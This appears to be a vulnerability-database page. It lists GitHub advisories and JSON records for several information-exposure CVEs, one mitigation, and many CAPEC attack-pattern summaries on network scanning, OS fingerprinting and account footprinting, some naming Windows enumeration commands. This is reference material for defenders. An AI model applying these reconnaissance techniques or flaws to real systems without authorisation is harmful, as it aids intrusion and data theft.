Vulnerability from github – Published: 2024-04-25 09:32 – Updated: 2026-04-08 18:32

Details

The Essential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.9.15 via the ajax_load_more() , eael_woo_pagination_product_ajax(), and ajax_eael_product_gallery() functions. This makes it possible for unauthenticated attackers to extract posts that may be in private or draft status.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2024-3733"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-922"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-25T09:15:08Z",
    "severity": "MODERATE"
  },
  "details": "The Essential Addons for Elementor \u2013 Best Elementor Templates, Widgets, Kits \u0026 WooCommerce Builders plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.9.15 via the ajax_load_more() , eael_woo_pagination_product_ajax(), and ajax_eael_product_gallery() functions. This makes it possible for unauthenticated attackers to extract posts that may be in private or draft status.",
  "id": "GHSA-3mf7-99rr-74gr",
  "modified": "2026-04-08T18:32:59Z",
  "published": "2024-04-25T09:32:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3733"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3075644/essential-addons-for-elementor-lite/tags/5.9.16/includes/Traits/Ajax_Handler.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3d604f7a-947c-43f4-bba6-e7e98b2d7844?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3MFF-FPV7-5R9M

Vulnerability from github – Published: 2022-05-01 07:44 – Updated: 2022-05-01 07:44

Details

The (1) dlback.php and (2) dlback.cgi scripts in Hot Links allow remote attackers to obtain sensitive information and download the database via a direct request with a modified dl parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2006-7086"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-03-02T21:18:00Z",
    "severity": "MODERATE"
  },
  "details": "The (1) dlback.php and (2) dlback.cgi scripts in Hot Links allow remote attackers to obtain sensitive information and download the database via a direct request with a modified dl parameter.",
  "id": "GHSA-3mff-fpv7-5r9m",
  "modified": "2022-05-01T07:44:31Z",
  "published": "2022-05-01T07:44:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-7086"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/30340"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=116370290529916\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=116373064308228\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22970"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/21112"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/4585"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3MFF-X894-PFQR

Vulnerability from github – Published: 2022-07-27 00:00 – Updated: 2022-08-05 00:00

Details

In the WeChat application 8.0.10 for Android and iOS, a mini program can obtain sensitive information from a user's address book via wx.searchContacts.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2021-40180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-26T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "In the WeChat application 8.0.10 for Android and iOS, a mini program can obtain sensitive information from a user\u0027s address book via wx.searchContacts.",
  "id": "GHSA-3mff-x894-pfqr",
  "modified": "2022-08-05T00:00:26Z",
  "published": "2022-07-27T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40180"
    },
    {
      "type": "WEB",
      "url": "https://arxiv.org/pdf/2205.15202.pdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BESTICSP/Vulnerabilities-Related-to-Mini-Programs-Permissions/blob/main/WX%20applet%20contact%20permission%20vulnerability%20report.pdf"
    },
    {
      "type": "WEB",
      "url": "https://pan.baidu.com/s/116sAQvs1CEzCeIfpI1NZvA"
    },
    {
      "type": "WEB",
      "url": "https://pan.baidu.com/s/1RqMrZBruZZ4OHdnXUN5xDw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3MFM-5W42-34PQ

Vulnerability from github – Published: 2022-05-14 01:19 – Updated: 2022-05-14 01:19

Details

Microsoft Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allow an authenticated attacker to run a specially crafted application when the Windows kernel improperly initializes objects in memory, aka "Win32k Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8470, CVE-2017-8471, CVE-2017-8472, CVE-2017-8473, CVE-2017-8477, and CVE-2017-8484.

Severity

5.0 (Medium)


                  
                    CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2017-8475"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-15T01:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allow an authenticated attacker to run a specially crafted application when the Windows kernel improperly initializes objects in memory, aka \"Win32k Information Disclosure Vulnerability\". This CVE ID is unique from CVE-2017-8470, CVE-2017-8471, CVE-2017-8472, CVE-2017-8473, CVE-2017-8477, and CVE-2017-8484.",
  "id": "GHSA-3mfm-5w42-34pq",
  "modified": "2022-05-14T01:19:36Z",
  "published": "2022-05-14T01:19:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8475"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8475"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/98853"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038659"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-46

Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CAPEC-116: Excavation

An adversary actively probes the target in a manner that is designed to solicit information that could be leveraged for malicious purposes.

CAPEC-13: Subverting Environment Variable Values

The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.

CAPEC-169: Footprinting

An adversary engages in probing and exploration activities to identify constituents and properties of the target.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-224: Fingerprinting

An adversary compares output from a target system to known indicators that uniquely identify specific details about the target. Most commonly, fingerprinting is done to determine operating system and application versions. Fingerprinting can be done passively as well as actively. Fingerprinting by itself is not usually detrimental to the target. However, the information gathered through fingerprinting often enables an adversary to discover existing weaknesses in the target.

CAPEC-285: ICMP Echo Request Ping

An adversary sends out an ICMP Type 8 Echo Request, commonly known as a 'Ping', in order to determine if a target system is responsive. If the request is not blocked by a firewall or ACL, the target host will respond with an ICMP Type 0 Echo Reply datagram. This type of exchange is usually referred to as a 'Ping' due to the Ping utility present in almost all operating systems. Ping, as commonly implemented, allows a user to test for alive hosts, measure round-trip time, and measure the percentage of packet loss.

CAPEC-287: TCP SYN Scan

An adversary uses a SYN scan to determine the status of ports on the remote target. SYN scanning is the most common type of port scanning that is used because of its many advantages and few drawbacks. As a result, novice attackers tend to overly rely on the SYN scan while performing system reconnaissance. As a scanning method, the primary advantages of SYN scanning are its universality and speed.

CAPEC-290: Enumerate Mail Exchange (MX) Records

An adversary enumerates the MX records for a given via a DNS query. This type of information gathering returns the names of mail servers on the network. Mail servers are often not exposed to the Internet but are located within the DMZ of a network protected by a firewall. A side effect of this configuration is that enumerating the MX records for an organization my reveal the IP address of the firewall or possibly other internal systems. Attackers often resort to MX record enumeration when a DNS Zone Transfer is not possible.

CAPEC-291: DNS Zone Transfers

An attacker exploits a DNS misconfiguration that permits a ZONE transfer. Some external DNS servers will return a list of IP address and valid hostnames. Under certain conditions, it may even be possible to obtain Zone data about the organization's internal network. When successful the attacker learns valuable information about the topology of the target organization, including information about particular servers, their role within the IT structure, and possibly information about the operating systems running upon the network. This is configuration dependent behavior so it may also be required to search out multiple DNS servers while attempting to find one with ZONE transfers allowed.

CAPEC-292: Host Discovery

An adversary sends a probe to an IP address to determine if the host is alive. Host discovery is one of the earliest phases of network reconnaissance. The adversary usually starts with a range of IP addresses belonging to a target network and uses various methods to determine if a host is present at that IP address. Host discovery is usually referred to as 'Ping' scanning using a sonar analogy. The goal is to send a packet through to the IP address and solicit a response from the host. As such, a 'ping' can be virtually any crafted packet whatsoever, provided the adversary can identify a functional host based on its response. An attack of this nature is usually carried out with a 'ping sweep,' where a particular kind of ping is sent to a range of IP addresses.

CAPEC-293: Traceroute Route Enumeration

An adversary uses a traceroute utility to map out the route which data flows through the network in route to a target destination. Tracerouting can allow the adversary to construct a working topology of systems and routers by listing the systems through which data passes through on their way to the targeted machine. This attack can return varied results depending upon the type of traceroute that is performed. Traceroute works by sending packets to a target while incrementing the Time-to-Live field in the packet header. As the packet traverses each hop along its way to the destination, its TTL expires generating an ICMP diagnostic message that identifies where the packet expired. Traditional techniques for tracerouting involved the use of ICMP and UDP, but as more firewalls began to filter ingress ICMP, methods of traceroute using TCP were developed.

CAPEC-294: ICMP Address Mask Request

An adversary sends an ICMP Type 17 Address Mask Request to gather information about a target's networking configuration. ICMP Address Mask Requests are defined by RFC-950, "Internet Standard Subnetting Procedure." An Address Mask Request is an ICMP type 17 message that triggers a remote system to respond with a list of its related subnets, as well as its default gateway and broadcast address via an ICMP type 18 Address Mask Reply datagram. Gathering this type of information helps the adversary plan router-based attacks as well as denial-of-service attacks against the broadcast address.

CAPEC-295: Timestamp Request

This pattern of attack leverages standard requests to learn the exact time associated with a target system. An adversary may be able to use the timestamp returned from the target to attack time-based security algorithms, such as random number generators, or time-based authentication mechanisms.

CAPEC-296: ICMP Information Request

An adversary sends an ICMP Information Request to a host to determine if it will respond to this deprecated mechanism. ICMP Information Requests are a deprecated message type. Information Requests were originally used for diskless machines to automatically obtain their network configuration, but this message type has been superseded by more robust protocol implementations like DHCP.

CAPEC-297: TCP ACK Ping

An adversary sends a TCP segment with the ACK flag set to a remote host for the purpose of determining if the host is alive. This is one of several TCP 'ping' types. The RFC 793 expected behavior for a service is to respond with a RST 'reset' packet to any unsolicited ACK segment that is not part of an existing connection. So by sending an ACK segment to a port, the adversary can identify that the host is alive by looking for a RST packet. Typically, a remote server will respond with a RST regardless of whether a port is open or closed. In this way, TCP ACK pings cannot discover the state of a remote port because the behavior is the same in either case. The firewall will look up the ACK packet in its state-table and discard the segment because it does not correspond to any active connection. A TCP ACK Ping can be used to discover if a host is alive via RST response packets sent from the host.

CAPEC-298: UDP Ping

An adversary sends a UDP datagram to the remote host to determine if the host is alive. If a UDP datagram is sent to an open UDP port there is very often no response, so a typical strategy for using a UDP ping is to send the datagram to a random high port on the target. The goal is to solicit an 'ICMP port unreachable' message from the target, indicating that the host is alive. UDP pings are useful because some firewalls are not configured to block UDP datagrams sent to strange or typically unused ports, like ports in the 65K range. Additionally, while some firewalls may filter incoming ICMP, weaknesses in firewall rule-sets may allow certain types of ICMP (host unreachable, port unreachable) which are useful for UDP ping attempts.

CAPEC-299: TCP SYN Ping

An adversary uses TCP SYN packets as a means towards host discovery. Typical RFC 793 behavior specifies that when a TCP port is open, a host must respond to an incoming SYN "synchronize" packet by completing stage two of the 'three-way handshake' - by sending an SYN/ACK in response. When a port is closed, RFC 793 behavior is to respond with a RST "reset" packet. This behavior can be used to 'ping' a target to see if it is alive by sending a TCP SYN packet to a port and then looking for a RST or an ACK packet in response.

CAPEC-300: Port Scanning

An adversary uses a combination of techniques to determine the state of the ports on a remote target. Any service or application available for TCP or UDP networking will have a port open for communications over the network.

CAPEC-301: TCP Connect Scan

An adversary uses full TCP connection attempts to determine if a port is open on the target system. The scanning process involves completing a 'three-way handshake' with a remote port, and reports the port as closed if the full handshake cannot be established. An advantage of TCP connect scanning is that it works against any TCP/IP stack.

CAPEC-302: TCP FIN Scan

An adversary uses a TCP FIN scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with the FIN bit set in the packet header. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow the adversary to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.

CAPEC-303: TCP Xmas Scan

An adversary uses a TCP XMAS scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with all possible flags set in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.

CAPEC-304: TCP Null Scan

An adversary uses a TCP NULL scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with no flags in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.

CAPEC-305: TCP ACK Scan

An adversary uses TCP ACK segments to gather information about firewall or ACL configuration. The purpose of this type of scan is to discover information about filter configurations rather than port state. This type of scanning is rarely useful alone, but when combined with SYN scanning, gives a more complete picture of the type of firewall rules that are present.

CAPEC-306: TCP Window Scan

An adversary engages in TCP Window scanning to analyze port status and operating system type. TCP Window scanning uses the ACK scanning method but examine the TCP Window Size field of response RST packets to make certain inferences. While TCP Window Scans are fast and relatively stealthy, they work against fewer TCP stack implementations than any other type of scan. Some operating systems return a positive TCP window size when a RST packet is sent from an open port, and a negative value when the RST originates from a closed port. TCP Window scanning is one of the most complex scan types, and its results are difficult to interpret. Window scanning alone rarely yields useful information, but when combined with other types of scanning is more useful. It is a generally more reliable means of making inference about operating system versions than port status.

CAPEC-307: TCP RPC Scan

An adversary scans for RPC services listing on a Unix/Linux host.

CAPEC-308: UDP Scan

An adversary engages in UDP scanning to gather information about UDP port status on the target system. UDP scanning methods involve sending a UDP datagram to the target port and looking for evidence that the port is closed. Open UDP ports usually do not respond to UDP datagrams as there is no stateful mechanism within the protocol that requires building or establishing a session. Responses to UDP datagrams are therefore application specific and cannot be relied upon as a method of detecting an open port. UDP scanning relies heavily upon ICMP diagnostic messages in order to determine the status of a remote port.

CAPEC-309: Network Topology Mapping

An adversary engages in scanning activities to map network nodes, hosts, devices, and routes. Adversaries usually perform this type of network reconnaissance during the early stages of attack against an external network. Many types of scanning utilities are typically employed, including ICMP tools, network mappers, port scanners, and route testing utilities such as traceroute.

CAPEC-310: Scanning for Vulnerable Software

An attacker engages in scanning activity to find vulnerable software versions or types, such as operating system versions or network services. Vulnerable or exploitable network configurations, such as improperly firewalled systems, or misconfigured systems in the DMZ or external network, provide windows of opportunity for an attacker. Common types of vulnerable software include unpatched operating systems or services (e.g FTP, Telnet, SMTP, SNMP) running on open ports that the attacker has identified. Attackers usually begin probing for vulnerable software once the external network has been port scanned and potential targets have been revealed.

CAPEC-312: Active OS Fingerprinting

An adversary engages in activity to detect the operating system or firmware version of a remote target by interrogating a device, server, or platform with a probe designed to solicit behavior that will reveal information about the operating systems or firmware in the environment. Operating System detection is possible because implementations of common protocols (Such as IP or TCP) differ in distinct ways. While the implementation differences are not sufficient to 'break' compatibility with the protocol the differences are detectable because the target will respond in unique ways to specific probing activity that breaks the semantic or logical rules of packet construction for a protocol. Different operating systems will have a unique response to the anomalous input, providing the basis to fingerprint the OS behavior. This type of OS fingerprinting can distinguish between operating system types and versions.

CAPEC-313: Passive OS Fingerprinting

An adversary engages in activity to detect the version or type of OS software in a an environment by passively monitoring communication between devices, nodes, or applications. Passive techniques for operating system detection send no actual probes to a target, but monitor network or client-server communication between nodes in order to identify operating systems based on observed behavior as compared to a database of known signatures or values. While passive OS fingerprinting is not usually as reliable as active methods, it is generally better able to evade detection.

CAPEC-317: IP ID Sequencing Probe

This OS fingerprinting probe analyzes the IP 'ID' field sequence number generation algorithm of a remote host. Operating systems generate IP 'ID' numbers differently, allowing an attacker to identify the operating system of the host by examining how is assigns ID numbers when generating response packets. RFC 791 does not specify how ID numbers are chosen or their ranges, so ID sequence generation differs from implementation to implementation. There are two kinds of IP 'ID' sequence number analysis - IP 'ID' Sequencing: analyzing the IP 'ID' sequence generation algorithm for one protocol used by a host and Shared IP 'ID' Sequencing: analyzing the packet ordering via IP 'ID' values spanning multiple protocols, such as between ICMP and TCP.

CAPEC-318: IP 'ID' Echoed Byte-Order Probe

This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'ID' value from the probe packet. An attacker sends a UDP datagram with an arbitrary IP 'ID' value to a closed port on the remote host to observe the manner in which this bit is echoed back in the ICMP error message. The identification field (ID) is typically utilized for reassembling a fragmented packet. Some operating systems or router firmware reverse the bit order of the ID field when echoing the IP Header portion of the original datagram within an ICMP error message.

CAPEC-319: IP (DF) 'Don't Fragment Bit' Echoing Probe

This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'DF' (Don't Fragment) bit in a response packet. An attacker sends a UDP datagram with the DF bit set to a closed port on the remote host to observe whether the 'DF' bit is set in the response packet. Some operating systems will echo the bit in the ICMP error message while others will zero out the bit in the response packet.

CAPEC-320: TCP Timestamp Probe

This OS fingerprinting probe examines the remote server's implementation of TCP timestamps. Not all operating systems implement timestamps within the TCP header, but when timestamps are used then this provides the attacker with a means to guess the operating system of the target. The attacker begins by probing any active TCP service in order to get response which contains a TCP timestamp. Different Operating systems update the timestamp value using different intervals. This type of analysis is most accurate when multiple timestamp responses are received and then analyzed. TCP timestamps can be found in the TCP Options field of the TCP header.

CAPEC-321: TCP Sequence Number Probe

This OS fingerprinting probe tests the target system's assignment of TCP sequence numbers. One common way to test TCP Sequence Number generation is to send a probe packet to an open port on the target and then compare the how the Sequence Number generated by the target relates to the Acknowledgement Number in the probe packet. Different operating systems assign Sequence Numbers differently, so a fingerprint of the operating system can be obtained by categorizing the relationship between the acknowledgement number and sequence number as follows: 1) the Sequence Number generated by the target is Zero, 2) the Sequence Number generated by the target is the same as the acknowledgement number in the probe, 3) the Sequence Number generated by the target is the acknowledgement number plus one, or 4) the Sequence Number is any other non-zero number.

CAPEC-322: TCP (ISN) Greatest Common Divisor Probe

This OS fingerprinting probe sends a number of TCP SYN packets to an open port of a remote machine. The Initial Sequence Number (ISN) in each of the SYN/ACK response packets is analyzed to determine the smallest number that the target host uses when incrementing sequence numbers. This information can be useful for identifying an operating system because particular operating systems and versions increment sequence numbers using different values. The result of the analysis is then compared against a database of OS behaviors to determine the OS type and/or version.

CAPEC-323: TCP (ISN) Counter Rate Probe

This OS detection probe measures the average rate of initial sequence number increments during a period of time. Sequence numbers are incremented using a time-based algorithm and are susceptible to a timing analysis that can determine the number of increments per unit time. The result of this analysis is then compared against a database of operating systems and versions to determine likely operation system matches.

CAPEC-324: TCP (ISN) Sequence Predictability Probe

This type of operating system probe attempts to determine an estimate for how predictable the sequence number generation algorithm is for a remote host. Statistical techniques, such as standard deviation, can be used to determine how predictable the sequence number generation is for a system. This result can then be compared to a database of operating system behaviors to determine a likely match for operating system and version.

CAPEC-325: TCP Congestion Control Flag (ECN) Probe

This OS fingerprinting probe checks to see if the remote host supports explicit congestion notification (ECN) messaging. ECN messaging was designed to allow routers to notify a remote host when signal congestion problems are occurring. Explicit Congestion Notification messaging is defined by RFC 3168. Different operating systems and versions may or may not implement ECN notifications, or may respond uniquely to particular ECN flag types.

CAPEC-326: TCP Initial Window Size Probe

This OS fingerprinting probe checks the initial TCP Window size. TCP stacks limit the range of sequence numbers allowable within a session to maintain the "connected" state within TCP protocol logic. The initial window size specifies a range of acceptable sequence numbers that will qualify as a response to an ACK packet within a session. Various operating systems use different Initial window sizes. The initial window size can be sampled by establishing an ordinary TCP connection.

CAPEC-327: TCP Options Probe

This OS fingerprinting probe analyzes the type and order of any TCP header options present within a response segment. Most operating systems use unique ordering and different option sets when options are present. RFC 793 does not specify a required order when options are present, so different implementations use unique ways of ordering or structuring TCP options. TCP options can be generated by ordinary TCP traffic.

CAPEC-328: TCP 'RST' Flag Checksum Probe

This OS fingerprinting probe performs a checksum on any ASCII data contained within the data portion or a RST packet. Some operating systems will report a human-readable text message in the payload of a 'RST' (reset) packet when specific types of connection errors occur. RFC 1122 allows text payloads within reset packets but not all operating systems or routers implement this functionality.

CAPEC-329: ICMP Error Message Quoting Probe

An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the amount of data returned or "Quoted" from the originating request that generated the ICMP error message.

CAPEC-330: ICMP Error Message Echoing Integrity Probe

An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the integrity of data returned or "Quoted" from the originating request that generated the error message.

CAPEC-472: Browser Fingerprinting

An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.

CAPEC-497: File Discovery

An adversary engages in probing and exploration activities to determine if common key files exists. Such files often contain configuration and security parameters of the targeted application, system or network. Using this knowledge may often pave the way for more damaging attacks.

CAPEC-508: Shoulder Surfing

In a shoulder surfing attack, an adversary observes an unaware individual's keystrokes, screen content, or conversations with the goal of obtaining sensitive information. One motive for this attack is to obtain sensitive information about the target for financial, personal, political, or other gains. From an insider threat perspective, an additional motive could be to obtain system/application credentials or cryptographic keys. Shoulder surfing attacks are accomplished by observing the content "over the victim's shoulder", as implied by the name of this attack.

CAPEC-573: Process Footprinting

An adversary exploits functionality meant to identify information about the currently running processes on the target system to an authorized user. By knowing what processes are running on the target system, the adversary can learn about the target environment as a means towards further malicious behavior.

CAPEC-574: Services Footprinting

An adversary exploits functionality meant to identify information about the services on the target system to an authorized user. By knowing what services are registered on the target system, the adversary can learn about the target environment as a means towards further malicious behavior. Depending on the operating system, commands that can obtain services information include "sc" and "tasklist/svc" using Tasklist, and "net start" using Net.

CAPEC-575: Account Footprinting

An adversary exploits functionality meant to identify information about the domain accounts and their permissions on the target system to an authorized user. By knowing what accounts are registered on the target system, the adversary can inform further and more targeted malicious behavior. Example Windows commands which can acquire this information are: "net user" and "dsquery".

CAPEC-576: Group Permission Footprinting

An adversary exploits functionality meant to identify information about user groups and their permissions on the target system to an authorized user. By knowing what users/permissions are registered on the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command which can list local groups is "net localgroup".

CAPEC-577: Owner Footprinting

An adversary exploits functionality meant to identify information about the primary users on the target system to an authorized user. They may do this, for example, by reviewing logins or file modification times. By knowing what owners use the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command that may accomplish this is "dir /A ntuser.dat". Which will display the last modified time of a user's ntuser.dat file when run within the root folder of a user. This time is synonymous with the last time that user was logged in.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-616: Establish Rogue Location

An adversary provides a malicious version of a resource at a location that is similar to the expected location of a legitimate resource. After establishing the rogue location, the adversary waits for a victim to visit the location and access the malicious resource.

CAPEC-643: Identify Shared Files/Directories on System

An adversary discovers connections between systems by exploiting the target system's standard practice of revealing them in searchable, common areas. Through the identification of shared folders/drives between systems, the adversary may further their goals of locating and collecting sensitive information/files, or map potential routes for lateral movement within the network.

CAPEC-646: Peripheral Footprinting

Adversaries may attempt to obtain information about attached peripheral devices and components connected to a computer system. Examples may include discovering the presence of iOS devices by searching for backups, analyzing the Windows registry to determine what USB devices have been connected, or infecting a victim system with malware to report when a USB device has been connected. This may allow the adversary to gain additional insight about the system or network environment, which may be useful in constructing further attacks.

CAPEC-651: Eavesdropping

An adversary intercepts a form of communication (e.g. text, audio, video) by way of software (e.g., microphone and audio recording application), hardware (e.g., recording equipment), or physical means (e.g., physical proximity). The goal of eavesdropping is typically to gain unauthorized access to sensitive information about the target for financial, personal, political, or other gains. Eavesdropping is different from a sniffing attack as it does not take place on a network-based communication channel (e.g., IP traffic). Instead, it entails listening in on the raw audio source of a conversation between two or more parties.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

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